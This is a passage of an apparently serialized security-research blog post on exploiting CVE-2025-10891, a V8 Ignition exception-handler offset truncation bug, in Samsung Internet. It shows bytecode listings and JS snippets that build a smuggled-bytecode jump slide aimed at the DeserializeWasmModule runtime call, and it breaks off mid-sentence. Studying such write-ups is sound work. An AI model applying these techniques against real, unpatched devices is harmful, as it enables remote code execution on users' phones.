browser.","2026-04-01T12:00:00.000Z",[124935,133236,133237],"jamie","william",{"src":133239,"width":98546,"height":14857},"/posts/mobile-renderer-rce/title.png",[133241,133242],"RCE","mobile",{"type":21,"children":133244,"toc":143131},[133245,133249,133254,133268,133274,133288,133309,133317,133330,133338,133351,133357,133370,133384,133390,133404,133507,133512,133520,133525,133530,133551,133629,133637,133656,133669,133675,133681,133695,133811,133816,133821,133829,133834,133842,133870,133899,133911,134087,134092,134100,134119,134132,134138,134158,134172,134177,134182,134210,134246,134315,134321,134343,134348,134356,134369,134374,134382,134387,134426,134432,134445,134450,134628,134638,134646,134666,134690,134703,134709,134714,135356,135361,135369,135411,137400,137405,137413,137419,137452,137470,137640,137698,137723,137817,137822,138613,138618,138626,138637,140681,140686,140694,140700,140722,140736,140749,140761,140791,140796,141237,141265,141372,141389,141546,141551,141563,141859,141885,141908,142040,142052,142057,142209,142245,142258,142263,142385,142426,142503,142508,143082,143088,143100,143113,143117,143122,143127],{"type":24,"tag":59,"props":133246,"children":133247},{"id":30274},[133248],{"type":29,"value":30277},{"type":24,"tag":25,"props":133250,"children":133251},{},[133252],{"type":29,"value":133253},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":25,"props":133255,"children":133256},{},[133257,133259,133266],{"type":29,"value":133258},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":101,"props":133260,"children":133263},{"href":133261,"rel":133262},"https://cor.team",[105],[133264],{"type":29,"value":133265},"Crusaders of Rust",{"type":29,"value":133267}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":395,"props":133269,"children":133271},{"id":133270},"finding-the-v8-version",[133272],{"type":29,"value":133273},"Finding the V8 Version",{"type":24,"tag":25,"props":133275,"children":133276},{},[133277,133279,133286],{"type":29,"value":133278},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":101,"props":133280,"children":133283},{"href":133281,"rel":133282},"https://developer.android.com/tools/adb",[105],[133284],{"type":29,"value":133285},"adb",{"type":29,"value":133287}," and inspecting the libraries it shipped with.",{"type":24,"tag":25,"props":133289,"children":133290},{},[133291,133293,133299,133301,133307],{"type":29,"value":133292},"After extracting the APK, we searched the ",{"type":24,"tag":154,"props":133294,"children":133296},{"className":133295},[],[133297],{"type":29,"value":133298},"lib/",{"type":29,"value":133300}," directory for ",{"type":24,"tag":154,"props":133302,"children":133304},{"className":133303},[],[133305],{"type":29,"value":133306},"v8::*",{"type":29,"value":133308}," symbols:",{"type":24,"tag":147,"props":133310,"children":133312},{"code":133311},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133313],{"type":24,"tag":154,"props":133314,"children":133315},{"__ignoreMap":7},[133316],{"type":29,"value":133311},{"type":24,"tag":25,"props":133318,"children":133319},{},[133320,133322,133328],{"type":29,"value":133321},"Only one file matched our search: ",{"type":24,"tag":154,"props":133323,"children":133325},{"className":133324},[],[133326],{"type":29,"value":133327},"libterrace.so",{"type":29,"value":133329},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":25,"props":133331,"children":133332},{},[133333],{"type":24,"tag":84,"props":133334,"children":133337},{"alt":133335,"src":133336},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":25,"props":133339,"children":133340},{},[133341,133343,133349],{"type":29,"value":133342},"Surprisingly, this ",{"type":24,"tag":154,"props":133344,"children":133346},{"className":133345},[],[133347],{"type":29,"value":133348},"13.6.233.10",{"type":29,"value":133350}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":24,"tag":395,"props":133352,"children":133354},{"id":133353},"choosing-the-bug",[133355],{"type":29,"value":133356},"Choosing the Bug",{"type":24,"tag":25,"props":133358,"children":133359},{},[133360,133362,133368],{"type":29,"value":133361},"We were able to trigger a couple of bugs on our locally compiled ",{"type":24,"tag":154,"props":133363,"children":133365},{"className":133364},[],[133366],{"type":29,"value":133367},"d8",{"type":29,"value":133369}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":25,"props":133371,"children":133372},{},[133373,133375,133382],{"type":29,"value":133374},"Another one was ",{"type":24,"tag":101,"props":133376,"children":133379},{"href":133377,"rel":133378},"https://issuetracker.google.com/issues/443875388",[105],[133380],{"type":29,"value":133381},"CVE-2025-10891",{"type":29,"value":133383}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":59,"props":133385,"children":133387},{"id":133386},"ignition-bytecode-introduction",[133388],{"type":29,"value":133389},"Ignition Bytecode Introduction",{"type":24,"tag":25,"props":133391,"children":133392},{},[133393,133395,133402],{"type":29,"value":133394},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":101,"props":133396,"children":133399},{"href":133397,"rel":133398},"https://v8.dev/blog/ignition-interpreter",[105],[133400],{"type":29,"value":133401},"Ignition",{"type":29,"value":133403}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":147,"props":133405,"children":133407},{"code":133406,"language":32626,"meta":7,"className":32624,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133408],{"type":24,"tag":154,"props":133409,"children":133410},{"__ignoreMap":7},[133411,133434,133458,133482],{"type":24,"tag":158,"props":133412,"children":133413},{"class":160,"line":161},[133414,133418,133422,133426,133430],{"type":24,"tag":158,"props":133415,"children":133416},{"style":165},[133417],{"type":29,"value":2662},{"type":24,"tag":158,"props":133419,"children":133420},{"style":177},[133421],{"type":29,"value":91114},{"type":24,"tag":158,"props":133423,"children":133424},{"style":222},[133425],{"type":29,"value":462},{"type":24,"tag":158,"props":133427,"children":133428},{"style":465},[133429],{"type":29,"value":1668},{"type":24,"tag":158,"props":133431,"children":133432},{"style":188},[133433],{"type":29,"value":473},{"type":24,"tag":158,"props":133435,"children":133436},{"class":160,"line":213},[133437,133441,133445,133449,133454],{"type":24,"tag":158,"props":133438,"children":133439},{"style":165},[133440],{"type":29,"value":2662},{"type":24,"tag":158,"props":133442,"children":133443},{"style":177},[133444],{"type":29,"value":91988},{"type":24,"tag":158,"props":133446,"children":133447},{"style":222},[133448],{"type":29,"value":462},{"type":24,"tag":158,"props":133450,"children":133451},{"style":465},[133452],{"type":29,"value":133453}," 0x0fff",{"type":24,"tag":158,"props":133455,"children":133456},{"style":188},[133457],{"type":29,"value":473},{"type":24,"tag":158,"props":133459,"children":133460},{"class":160,"line":238},[133461,133465,133469,133473,133478],{"type":24,"tag":158,"props":133462,"children":133463},{"style":165},[133464],{"type":29,"value":2662},{"type":24,"tag":158,"props":133466,"children":133467},{"style":177},[133468],{"type":29,"value":38709},{"type":24,"tag":158,"props":133470,"children":133471},{"style":222},[133472],{"type":29,"value":462},{"type":24,"tag":158,"props":133474,"children":133475},{"style":465},[133476],{"type":29,"value":133477}," 0x0fffffff",{"type":24,"tag":158,"props":133479,"children":133480},{"style":188},[133481],{"type":29,"value":473},{"type":24,"tag":158,"props":133483,"children":133484},{"class":160,"line":259},[133485,133489,133494,133498,133503],{"type":24,"tag":158,"props":133486,"children":133487},{"style":165},[133488],{"type":29,"value":2662},{"type":24,"tag":158,"props":133490,"children":133491},{"style":177},[133492],{"type":29,"value":133493}," d",{"type":24,"tag":158,"props":133495,"children":133496},{"style":222},[133497],{"type":29,"value":462},{"type":24,"tag":158,"props":133499,"children":133500},{"style":465},[133501],{"type":29,"value":133502}," 0xffffffff",{"type":24,"tag":158,"props":133504,"children":133505},{"style":188},[133506],{"type":29,"value":473},{"type":24,"tag":25,"props":133508,"children":133509},{},[133510],{"type":29,"value":133511},"compiles to",{"type":24,"tag":147,"props":133513,"children":133515},{"code":133514}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[133516],{"type":24,"tag":154,"props":133517,"children":133518},{"__ignoreMap":7},[133519],{"type":29,"value":133514},{"type":24,"tag":25,"props":133521,"children":133522},{},[133523],{"type":29,"value":133524},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":395,"props":133526,"children":133528},{"id":133527},"cve-2025-10891",[133529],{"type":29,"value":133381},{"type":24,"tag":25,"props":133531,"children":133532},{},[133533,133535,133541,133543,133549],{"type":29,"value":133534},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":154,"props":133536,"children":133538},{"className":133537},[],[133539],{"type":29,"value":133540},"[start, end) => handler",{"type":29,"value":133542}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":154,"props":133544,"children":133546},{"className":133545},[],[133547],{"type":29,"value":133548},"handler",{"type":29,"value":133550}," is jumped to.",{"type":24,"tag":147,"props":133552,"children":133554},{"code":133553,"language":32626,"meta":7,"className":32624,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[133555],{"type":24,"tag":154,"props":133556,"children":133557},{"__ignoreMap":7},[133558,133569,133584,133599,133622],{"type":24,"tag":158,"props":133559,"children":133560},{"class":160,"line":161},[133561,133565],{"type":24,"tag":158,"props":133562,"children":133563},{"style":1914},[133564],{"type":29,"value":49602},{"type":24,"tag":158,"props":133566,"children":133567},{"style":188},[133568],{"type":29,"value":210},{"type":24,"tag":158,"props":133570,"children":133571},{"class":160,"line":213},[133572,133576,133580],{"type":24,"tag":158,"props":133573,"children":133574},{"style":1914},[133575],{"type":29,"value":36465},{"type":24,"tag":158,"props":133577,"children":133578},{"style":465},[133579],{"type":29,"value":1668},{"type":24,"tag":158,"props":133581,"children":133582},{"style":188},[133583],{"type":29,"value":473},{"type":24,"tag":158,"props":133585,"children":133586},{"class":160,"line":238},[133587,133591,133595],{"type":24,"tag":158,"props":133588,"children":133589},{"style":188},[133590],{"type":29,"value":48144},{"type":24,"tag":158,"props":133592,"children":133593},{"style":1914},[133594],{"type":29,"value":49682},{"type":24,"tag":158,"props":133596,"children":133597},{"style":188},[133598],{"type":29,"value":210},{"type":24,"tag":158,"props":133600,"children":133601},{"class":160,"line":259},[133602,133606,133610,133614,133618],{"type":24,"tag":158,"props":133603,"children":133604},{"style":165},[133605],{"type":29,"value":9496},{"type":24,"tag":158,"props":133607,"children":133608},{"style":177},[133609],{"type":29,"value":91988},{"type":24,"tag":158,"props":133611,"children":133612},{"style":222},[133613],{"type":29,"value":462},{"type":24,"tag":158,"props":133615,"children":133616},{"style":465},[133617],{"type":29,"value":9573},{"type":24,"tag":158,"props":133619,"children":133620},{"style":188},[133621],{"type":29,"value":473},{"type":24,"tag":158,"props":133623,"children":133624},{"class":160,"line":280},[133625],{"type":24,"tag":158,"props":133626,"children":133627},{"style":188},[133628],{"type":29,"value":307},{"type":24,"tag":147,"props":133630,"children":133632},{"code":133631}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[133633],{"type":24,"tag":154,"props":133634,"children":133635},{"__ignoreMap":7},[133636],{"type":29,"value":133631},{"type":24,"tag":25,"props":133638,"children":133639},{},[133640,133642,133647,133649,133654],{"type":29,"value":133641},"However, the ",{"type":24,"tag":154,"props":133643,"children":133645},{"className":133644},[],[133646],{"type":29,"value":133548},{"type":29,"value":133648}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":154,"props":133650,"children":133652},{"className":133651},[],[133653],{"type":29,"value":49682},{"type":29,"value":133655}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":25,"props":133657,"children":133658},{},[133659,133661,133667],{"type":29,"value":133660},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":154,"props":133662,"children":133664},{"className":133663},[],[133665],{"type":29,"value":133666},"yield*",{"type":29,"value":133668}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":59,"props":133670,"children":133672},{"id":133671},"exploitation",[133673],{"type":29,"value":133674},"Exploitation",{"type":24,"tag":395,"props":133676,"children":133678},{"id":133677},"constant-smuggling",[133679],{"type":29,"value":133680},"Constant Smuggling",{"type":24,"tag":25,"props":133682,"children":133683},{},[133684,133686,133693],{"type":29,"value":133685},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":101,"props":133687,"children":133690},{"href":133688,"rel":133689},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[105],[133691],{"type":29,"value":133692},"technique",{"type":29,"value":133694}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":147,"props":133696,"children":133698},{"code":133697,"language":32626,"meta":7,"className":32624,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[133699],{"type":24,"tag":154,"props":133700,"children":133701},{"__ignoreMap":7},[133702,133730,133757,133784],{"type":24,"tag":158,"props":133703,"children":133704},{"class":160,"line":161},[133705,133709,133713,133717,133721,133726],{"type":24,"tag":158,"props":133706,"children":133707},{"style":165},[133708],{"type":29,"value":2662},{"type":24,"tag":158,"props":133710,"children":133711},{"style":177},[133712],{"type":29,"value":91114},{"type":24,"tag":158,"props":133714,"children":133715},{"style":222},[133716],{"type":29,"value":462},{"type":24,"tag":158,"props":133718,"children":133719},{"style":222},[133720],{"type":29,"value":52527},{"type":24,"tag":158,"props":133722,"children":133723},{"style":465},[133724],{"type":29,"value":133725},"9.255963134931783e61",{"type":24,"tag":158,"props":133727,"children":133728},{"style":188},[133729],{"type":29,"value":473},{"type":24,"tag":158,"props":133731,"children":133732},{"class":160,"line":213},[133733,133737,133741,133745,133749,133753],{"type":24,"tag":158,"props":133734,"children":133735},{"style":165},[133736],{"type":29,"value":2662},{"type":24,"tag":158,"props":133738,"children":133739},{"style":177},[133740],{"type":29,"value":91988},{"type":24,"tag":158,"props":133742,"children":133743},{"style":222},[133744],{"type":29,"value":462},{"type":24,"tag":158,"props":133746,"children":133747},{"style":222},[133748],{"type":29,"value":52527},{"type":24,"tag":158,"props":133750,"children":133751},{"style":465},[133752],{"type":29,"value":133725},{"type":24,"tag":158,"props":133754,"children":133755},{"style":188},[133756],{"type":29,"value":473},{"type":24,"tag":158,"props":133758,"children":133759},{"class":160,"line":238},[133760,133764,133768,133772,133776,133780],{"type":24,"tag":158,"props":133761,"children":133762},{"style":165},[133763],{"type":29,"value":2662},{"type":24,"tag":158,"props":133765,"children":133766},{"style":177},[133767],{"type":29,"value":38709},{"type":24,"tag":158,"props":133769,"children":133770},{"style":222},[133771],{"type":29,"value":462},{"type":24,"tag":158,"props":133773,"children":133774},{"style":222},[133775],{"type":29,"value":52527},{"type":24,"tag":158,"props":133777,"children":133778},{"style":465},[133779],{"type":29,"value":133725},{"type":24,"tag":158,"props":133781,"children":133782},{"style":188},[133783],{"type":29,"value":473},{"type":24,"tag":158,"props":133785,"children":133786},{"class":160,"line":259},[133787,133791,133795,133799,133803,133807],{"type":24,"tag":158,"props":133788,"children":133789},{"style":165},[133790],{"type":29,"value":2662},{"type":24,"tag":158,"props":133792,"children":133793},{"style":177},[133794],{"type":29,"value":133493},{"type":24,"tag":158,"props":133796,"children":133797},{"style":222},[133798],{"type":29,"value":462},{"type":24,"tag":158,"props":133800,"children":133801},{"style":222},[133802],{"type":29,"value":52527},{"type":24,"tag":158,"props":133804,"children":133805},{"style":465},[133806],{"type":29,"value":133725},{"type":24,"tag":158,"props":133808,"children":133809},{"style":188},[133810],{"type":29,"value":473},{"type":24,"tag":25,"props":133812,"children":133813},{},[133814],{"type":29,"value":133815},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":25,"props":133817,"children":133818},{},[133819],{"type":29,"value":133820},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":147,"props":133822,"children":133824},{"code":133823},"let a = 0x0693bebe;\n",[133825],{"type":24,"tag":154,"props":133826,"children":133827},{"__ignoreMap":7},[133828],{"type":29,"value":133823},{"type":24,"tag":25,"props":133830,"children":133831},{},[133832],{"type":29,"value":133833},"We will compile the bytecode:",{"type":24,"tag":147,"props":133835,"children":133837},{"code":133836},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[133838],{"type":24,"tag":154,"props":133839,"children":133840},{"__ignoreMap":7},[133841],{"type":29,"value":133836},{"type":24,"tag":25,"props":133843,"children":133844},{},[133845,133847,133853,133855,133861,133862,133868],{"type":29,"value":133846},"We can then jump to the 3rd byte (",{"type":24,"tag":154,"props":133848,"children":133850},{"className":133849},[],[133851],{"type":29,"value":133852},"0xbe",{"type":29,"value":133854},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":154,"props":133856,"children":133858},{"className":133857},[],[133859],{"type":29,"value":133860},"0x93 0x02 - 0xf",{"type":29,"value":2262},{"type":24,"tag":154,"props":133863,"children":133865},{"className":133864},[],[133866],{"type":29,"value":133867},"Jump +[2-15]",{"type":29,"value":133869},") to jump into the next constant.",{"type":24,"tag":25,"props":133871,"children":133872},{},[133873,133875,133881,133883,133889,133891,133897],{"type":29,"value":133874},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":154,"props":133876,"children":133878},{"className":133877},[],[133879],{"type":29,"value":133880},"StarX",{"type":29,"value":133882}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":154,"props":133884,"children":133886},{"className":133885},[],[133887],{"type":29,"value":133888},"Star rX",{"type":29,"value":133890}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":154,"props":133892,"children":133894},{"className":133893},[],[133895],{"type":29,"value":133896},"Star.ExtraWide rX",{"type":29,"value":133898}," instructions.",{"type":24,"tag":25,"props":133900,"children":133901},{},[133902,133904,133910],{"type":29,"value":133903},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":154,"props":133905,"children":133907},{"className":133906},[],[133908],{"type":29,"value":133909},"0x8931111",{"type":29,"value":225},{"type":24,"tag":147,"props":133912,"children":133914},{"code":133913,"language":32626,"meta":7,"className":32624,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[133915],{"type":24,"tag":154,"props":133916,"children":133917},{"__ignoreMap":7},[133918,133943,133967,133991,134015,134039,134063],{"type":24,"tag":158,"props":133919,"children":133920},{"class":160,"line":161},[133921,133925,133930,133934,133939],{"type":24,"tag":158,"props":133922,"children":133923},{"style":165},[133924],{"type":29,"value":2662},{"type":24,"tag":158,"props":133926,"children":133927},{"style":177},[133928],{"type":29,"value":133929}," a206",{"type":24,"tag":158,"props":133931,"children":133932},{"style":222},[133933],{"type":29,"value":462},{"type":24,"tag":158,"props":133935,"children":133936},{"style":465},[133937],{"type":29,"value":133938}," 0x8931111",{"type":24,"tag":158,"props":133940,"children":133941},{"style":188},[133942],{"type":29,"value":473},{"type":24,"tag":158,"props":133944,"children":133945},{"class":160,"line":213},[133946,133950,133955,133959,133963],{"type":24,"tag":158,"props":133947,"children":133948},{"style":165},[133949],{"type":29,"value":2662},{"type":24,"tag":158,"props":133951,"children":133952},{"style":177},[133953],{"type":29,"value":133954}," a207",{"type":24,"tag":158,"props":133956,"children":133957},{"style":222},[133958],{"type":29,"value":462},{"type":24,"tag":158,"props":133960,"children":133961},{"style":465},[133962],{"type":29,"value":133938},{"type":24,"tag":158,"props":133964,"children":133965},{"style":188},[133966],{"type":29,"value":473},{"type":24,"tag":158,"props":133968,"children":133969},{"class":160,"line":238},[133970,133974,133979,133983,133987],{"type":24,"tag":158,"props":133971,"children":133972},{"style":165},[133973],{"type":29,"value":2662},{"type":24,"tag":158,"props":133975,"children":133976},{"style":177},[133977],{"type":29,"value":133978}," a208",{"type":24,"tag":158,"props":133980,"children":133981},{"style":222},[133982],{"type":29,"value":462},{"type":24,"tag":158,"props":133984,"children":133985},{"style":465},[133986],{"type":29,"value":133938},{"type":24,"tag":158,"props":133988,"children":133989},{"style":188},[133990],{"type":29,"value":473},{"type":24,"tag":158,"props":133992,"children":133993},{"class":160,"line":259},[133994,133998,134003,134007,134011],{"type":24,"tag":158,"props":133995,"children":133996},{"style":165},[133997],{"type":29,"value":2662},{"type":24,"tag":158,"props":133999,"children":134000},{"style":177},[134001],{"type":29,"value":134002}," a209",{"type":24,"tag":158,"props":134004,"children":134005},{"style":222},[134006],{"type":29,"value":462},{"type":24,"tag":158,"props":134008,"children":134009},{"style":465},[134010],{"type":29,"value":133938},{"type":24,"tag":158,"props":134012,"children":134013},{"style":188},[134014],{"type":29,"value":473},{"type":24,"tag":158,"props":134016,"children":134017},{"class":160,"line":280},[134018,134022,134027,134031,134035],{"type":24,"tag":158,"props":134019,"children":134020},{"style":165},[134021],{"type":29,"value":2662},{"type":24,"tag":158,"props":134023,"children":134024},{"style":177},[134025],{"type":29,"value":134026}," a210",{"type":24,"tag":158,"props":134028,"children":134029},{"style":222},[134030],{"type":29,"value":462},{"type":24,"tag":158,"props":134032,"children":134033},{"style":465},[134034],{"type":29,"value":133938},{"type":24,"tag":158,"props":134036,"children":134037},{"style":188},[134038],{"type":29,"value":473},{"type":24,"tag":158,"props":134040,"children":134041},{"class":160,"line":301},[134042,134046,134051,134055,134059],{"type":24,"tag":158,"props":134043,"children":134044},{"style":165},[134045],{"type":29,"value":2662},{"type":24,"tag":158,"props":134047,"children":134048},{"style":177},[134049],{"type":29,"value":134050}," a211",{"type":24,"tag":158,"props":134052,"children":134053},{"style":222},[134054],{"type":29,"value":462},{"type":24,"tag":158,"props":134056,"children":134057},{"style":465},[134058],{"type":29,"value":133938},{"type":24,"tag":158,"props":134060,"children":134061},{"style":188},[134062],{"type":29,"value":473},{"type":24,"tag":158,"props":134064,"children":134065},{"class":160,"line":626},[134066,134070,134075,134079,134083],{"type":24,"tag":158,"props":134067,"children":134068},{"style":165},[134069],{"type":29,"value":2662},{"type":24,"tag":158,"props":134071,"children":134072},{"style":177},[134073],{"type":29,"value":134074}," a212",{"type":24,"tag":158,"props":134076,"children":134077},{"style":222},[134078],{"type":29,"value":462},{"type":24,"tag":158,"props":134080,"children":134081},{"style":465},[134082],{"type":29,"value":133938},{"type":24,"tag":158,"props":134084,"children":134085},{"style":188},[134086],{"type":29,"value":473},{"type":24,"tag":25,"props":134088,"children":134089},{},[134090],{"type":29,"value":134091},"Those instructions result in:",{"type":24,"tag":147,"props":134093,"children":134095},{"code":134094},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8; >------------+\n04: Star rX + LdaSmi ... |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[134096],{"type":24,"tag":154,"props":134097,"children":134098},{"__ignoreMap":7},[134099],{"type":29,"value":134094},{"type":24,"tag":25,"props":134101,"children":134102},{},[134103,134105,134111,134113,134117],{"type":29,"value":134104},"(The offset of ",{"type":24,"tag":154,"props":134106,"children":134108},{"className":134107},[],[134109],{"type":29,"value":134110},"Jump",{"type":29,"value":134112}," instructions is added to the ",{"type":24,"tag":32,"props":134114,"children":134115},{},[134116],{"type":29,"value":72367},{"type":29,"value":134118}," of the instruction.)",{"type":24,"tag":25,"props":134120,"children":134121},{},[134122,134124,134130],{"type":29,"value":134123},"Now, 3 out of the 6 bytes in a ",{"type":24,"tag":154,"props":134125,"children":134127},{"className":134126},[],[134128],{"type":29,"value":134129},"LdaSmi.ExtraWide",{"type":29,"value":134131}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":24,"tag":395,"props":134133,"children":134135},{"id":134134},"exploit-goal",[134136],{"type":29,"value":134137},"Exploit Goal",{"type":24,"tag":25,"props":134139,"children":134140},{},[134141,134143,134149,134150,134156],{"type":29,"value":134142},"Initially we considered using ",{"type":24,"tag":154,"props":134144,"children":134146},{"className":134145},[],[134147],{"type":29,"value":134148},"Star",{"type":29,"value":6238},{"type":24,"tag":154,"props":134151,"children":134153},{"className":134152},[],[134154],{"type":29,"value":134155},"Ldar",{"type":29,"value":134157}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":24,"tag":25,"props":134159,"children":134160},{},[134161,134163,134170],{"type":29,"value":134162},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":24,"tag":101,"props":134164,"children":134167},{"href":134165,"rel":134166},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[105],[134168],{"type":29,"value":134169},"stack pivot and ROP",{"type":29,"value":134171},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":24,"tag":25,"props":134173,"children":134174},{},[134175],{"type":29,"value":134176},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":24,"tag":25,"props":134178,"children":134179},{},[134180],{"type":29,"value":134181},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":24,"tag":25,"props":134183,"children":134184},{},[134185,134187,134193,134195,134201,134203,134209],{"type":29,"value":134186},"At this point, we identified an interesting opcode: ",{"type":24,"tag":154,"props":134188,"children":134190},{"className":134189},[],[134191],{"type":29,"value":134192},"CallRuntime",{"type":29,"value":134194},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":24,"tag":154,"props":134196,"children":134198},{"className":134197},[],[134199],{"type":29,"value":134200},"--allow-natives-syntax",{"type":29,"value":134202}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":24,"tag":154,"props":134204,"children":134206},{"className":134205},[],[134207],{"type":29,"value":134208},"DeserializeWasmModule",{"type":29,"value":347},{"type":24,"tag":25,"props":134211,"children":134212},{},[134213,134215,134222,134223,134228,134229,134235,134237,134244],{"type":29,"value":134214},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":24,"tag":101,"props":134216,"children":134219},{"href":134217,"rel":134218},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[105],[134220],{"type":29,"value":134221},"JIT-compiled functions",{"type":29,"value":19772},{"type":24,"tag":154,"props":134224,"children":134226},{"className":134225},[],[134227],{"type":29,"value":134208},{"type":29,"value":6238},{"type":24,"tag":154,"props":134230,"children":134232},{"className":134231},[],[134233],{"type":29,"value":134234},"SerializeWasmModule",{"type":29,"value":134236}," themselves are only used from test functions, and indeed have been ",{"type":24,"tag":101,"props":134238,"children":134241},{"href":134239,"rel":134240},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[105],[134242],{"type":29,"value":134243},"removed",{"type":29,"value":134245}," from recent production V8 builds due to how abusable this functionality is.",{"type":24,"tag":25,"props":134247,"children":134248},{},[134249,134251,134257,134259,134265,134267,134272,134274,134280,134282,134287,134288,134293,134294,134299,134301,134307,134309,134313],{"type":29,"value":134250},"However, calling this opcode represented a significant challenge:\n",{"type":24,"tag":154,"props":134252,"children":134254},{"className":134253},[],[134255],{"type":29,"value":134256},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":29,"value":134258},"\nWhere ",{"type":24,"tag":154,"props":134260,"children":134262},{"className":134261},[],[134263],{"type":29,"value":134264},"func-id",{"type":29,"value":134266}," is a 2-byte function ID, ",{"type":24,"tag":154,"props":134268,"children":134270},{"className":134269},[],[134271],{"type":29,"value":39492},{"type":29,"value":134273}," is the index of the last register passed and ",{"type":24,"tag":154,"props":134275,"children":134277},{"className":134276},[],[134278],{"type":29,"value":134279},"argc",{"type":29,"value":134281}," is the number of arguments passed (e.g. passing 